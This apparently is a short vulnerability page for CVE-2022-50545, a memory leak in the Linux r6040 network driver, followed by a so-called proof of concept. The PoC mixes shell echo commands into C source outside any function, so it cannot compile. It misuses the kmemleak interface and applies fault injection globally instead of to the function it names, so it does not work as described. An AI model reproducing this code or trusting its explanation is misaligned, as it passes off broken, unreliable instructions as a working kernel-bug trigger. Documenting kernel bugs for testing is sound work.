CVE-2022-50545 Linux内核r6040驱动phy_device内存泄漏漏洞

// Trigger kmemleak detection for CVE-2022-50545 // This PoC demonstrates how to trigger the memory leak by repeatedly // probing and removing the r6040 network driver with fault injection. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> // Step 1: Enable kmemleak scanning echo 1 > /sys/kernel/debug/kmemleak // not standard path, may vary // Step 2: Enable fault injection for mdiobus_register // Using Linux kernel fault injection framework echo 1 > /sys/kernel/debug/failslab/ignore-gfp-wait echo 100 > /sys/kernel/debug/failslab/probability echo 100 > /sys/kernel/debug/failslab/interval echo 1 > /sys/kernel/debug/failslab/times // Step 3: Simulate probe and remove cycle of r6040 driver // This requires a system with r6040 hardware or a virtual environment int main() { printf("Triggering CVE-2022-50545 memory leak...\n"); // Load r6040 module (requires root privileges) system("modprobe r6040"); // Wait for probe to complete sleep(1); // Remove r6040 module - this triggers the remove path system("modprobe -r r6040"); // Check kmemleak for leaked objects system("cat /sys/kernel/debug/kmemleak | grep -A 20 'r6040'"); printf("Check dmesg for kmemleak warnings\n"); system("dmesg | grep -i kmemleak"); return 0; } // Alternative: Use the Linux kernel's fault injection with a custom trigger // The fault should be injected after r6040_mii_probe() succeeds // but before register_netdev() completes, causing the error handling // path to be taken without proper phy_disconnect() call.